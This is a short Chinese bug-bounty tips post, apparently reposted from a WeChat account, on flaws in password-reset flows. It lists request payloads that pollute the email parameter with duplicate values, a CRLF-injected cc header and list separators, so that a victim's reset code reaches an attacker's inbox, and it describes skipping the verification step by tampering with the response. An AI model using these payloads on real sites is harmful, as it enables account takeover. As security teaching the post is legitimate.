# 1. 填写邮箱账号,服务器向邮箱发送验证码
POST /email
...
emial=abc@xyz.tld
# 2. 填写验证码
POST /code
...
code=123456
# 3. 填写新密码
POST /newpassword
...
newpassword=12345678&newpassword2=12345678
a. 重复参数重置密码
输入邮箱时,同时输入受害者和攻击者的邮箱,攻击者邮箱收到验证码,并且可用于重置受害者密码。
POST /email
...
# 1
emial=victim@xyz.tld&emial=hacker@xyz.tld
# 2
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld
# 3
{"email":["victim@xyz.tld","hacker@xyz.tld"]}
b. 多步骤验证码绕过
# 1. 填写邮箱账号
POST /email
...
emial=abc@xyz
# 2. 填写新密码
POST /newpassword
...
newpassword=12345678&newpassword2=12345678
# 验证失败返回包
HTTP/2401 Unauthorized
{"code":"invalid_credentials"}
{"verify":"false"}
# 验证成功返回包
HTTP/2200 OK
{"code":"valid_credentials"}
{"verify":"true"}
原文始发于微信公众号(Rsec):Bug Bounty Tips 0002
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论